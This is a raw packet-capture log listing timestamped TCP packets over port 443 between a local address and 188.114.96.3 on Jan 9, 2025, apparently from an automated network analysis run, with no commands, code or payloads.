Jan 9, 2025 08:31:41.787595987 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.787637949 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.787664890 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.787689924 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.787760973 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.787771940 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.787786961 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.787798882 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.787832022 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.788671970 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.789645910 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.789695024 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.789764881 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.790024996 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.790043116 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.264210939 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.269553900 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.269602060 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.383686066 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.383737087 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.383765936 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.383795023 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.383795977 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.383821011 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.383904934 CET	443	50332	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.383933067 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.384007931 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.384908915 CET	50332	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.386416912 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.386477947 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.386631012 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.386946917 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.386961937 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.858462095 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:42.863243103 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:42.863281965 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.000662088 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.000725031 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.000754118 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.000782967 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.000790119 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.000827074 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.000848055 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.000904083 CET	443	50333	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.001092911 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.002933979 CET	50333	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.002942085 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.002996922 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.003192902 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.003518105 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.003540993 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.468022108 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.470752954 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.470787048 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.600918055 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.600970984 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.601001024 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.601031065 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.601030111 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.601058006 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.601078033 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.601141930 CET	443	50334	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.601187944 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.602344036 CET	50334	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.603765965 CET	50335	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.603821993 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:43.603888988 CET	50335	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.604254007 CET	50335	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:43.604269028 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.090235949 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.095366955 CET	50335	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.095407963 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.227206945 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.227258921 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.227291107 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.227334023 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.227412939 CET	50335	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.227442980 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.227510929 CET	443	50335	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.227605104 CET	50335	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.229202986 CET	50335	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.229206085 CET	50336	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.229254961 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.229413986 CET	50336	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.232228994 CET	50336	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.232239962 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.696362972 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.701549053 CET	50336	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.701581955 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.842262983 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.842322111 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.842355967 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.842391968 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.842484951 CET	443	50336	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.842710972 CET	50336	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.844557047 CET	50336	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.844562054 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.844610929 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:44.847724915 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.853554010 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:44.853590965 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.326683044 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.328743935 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.328766108 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472018957 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472065926 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472093105 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472111940 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.472126961 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472138882 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472177982 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.472189903 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472253084 CET	443	50337	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.472276926 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.472299099 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.473365068 CET	50337	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.475025892 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.475086927 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.475152016 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.475449085 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.475462914 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.954519987 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:45.956864119 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:45.956919909 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.086642027 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.086704969 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.086741924 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.086777925 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.086787939 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.086818933 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.086843967 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.086924076 CET	443	50338	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.087019920 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.088824034 CET	50338	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.088826895 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.088876009 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.092042923 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.097563982 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.097584009 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.553060055 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.554961920 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.554994106 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.675688028 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.675734997 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.675760984 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.675786018 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.675791025 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.675820112 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.675848961 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.675893068 CET	443	50339	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.675997019 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.677898884 CET	50339	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.677912951 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.677963018 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:46.680787086 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.684817076 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:46.684839010 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.167768002 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.170001030 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.170032978 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.292041063 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.292100906 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.292130947 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.292149067 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.292160034 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.292186975 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.292206049 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.292275906 CET	443	50340	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.292320967 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.293557882 CET	50340	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.295011997 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.295068979 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.295125961 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.295418978 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.295430899 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.770675898 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.772429943 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.772459984 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.919212103 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.919259071 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.919286013 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.919302940 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.919320107 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.919334888 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.919358969 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.919440985 CET	443	50341	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.919485092 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.920259953 CET	50341	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.921276093 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.921323061 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:47.921437979 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.921648026 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:47.921658993 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.376513004 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.381887913 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.381906986 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.504184008 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.504223108 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.504244089 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.504265070 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.504302025 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.504318953 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.504354954 CET	443	50342	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.504358053 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.504447937 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.506804943 CET	50342	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.509179115 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.509232998 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.509314060 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.510009050 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.510027885 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.968759060 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:48.973082066 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:48.973126888 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.102555037 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.102606058 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.102634907 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.102650881 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.102663040 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.102675915 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.102704048 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.102757931 CET	443	50343	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.102797985 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.103996992 CET	50343	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.105927944 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.105968952 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.106033087 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.106355906 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.106367111 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.580085039 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.581947088 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.581974030 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.713160992 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.713211060 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.713238955 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.713265896 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.713346958 CET	443	50344	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.713366985 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.713366985 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.713397026 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.714204073 CET	50344	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.715208054 CET	50345	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.715260029 CET	443	50345	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.715339899 CET	50345	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.715604067 CET	50345	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.715617895 CET	443	50345	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.771091938 CET	50345	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.772362947 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.772429943 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.772506952 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.772792101 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:49.772809982 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:49.815342903 CET	443	50345	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.190710068 CET	443	50345	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.190851927 CET	443	50345	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.190964937 CET	50345	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.190964937 CET	50345	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.257359982 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.257539034 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.261590004 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.261599064 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.261945009 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.265610933 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.307339907 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.460691929 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.460736036 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.460764885 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.460791111 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.460830927 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.460848093 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.460860014 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.460901976 CET	443	50346	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.461000919 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.461981058 CET	50346	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.465557098 CET	50347	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.465603113 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.465677977 CET	50347	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.465991020 CET	50347	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.466003895 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.920279026 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:50.952506065 CET	50347	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:50.952523947 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.051625967 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.051678896 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.051712990 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.051740885 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.051819086 CET	50347	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.051831961 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.051846981 CET	443	50347	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.051891088 CET	50347	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.066512108 CET	50347	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.068811893 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.068862915 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.068933010 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.069390059 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.069411993 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.549055099 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.551270008 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.551301956 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695406914 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695475101 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695508003 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695514917 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.695552111 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695590019 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695594072 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.695601940 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695636034 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.695641041 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695693970 CET	443	50348	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.695734024 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.696969032 CET	50348	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.698304892 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.698363066 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:51.698426008 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.698714972 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:51.698729038 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.177743912 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.185672045 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.185719967 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.306411982 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.306468010 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.306500912 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.306539059 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.306633949 CET	443	50349	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.306658030 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.306658030 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.309745073 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.311053038 CET	50349	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.311063051 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.311127901 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.311320066 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.311456919 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.311474085 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.775717974 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.781533003 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.781583071 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.899501085 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.899547100 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.899574041 CET	443	50350	188.114.96.3	192.168.2.4
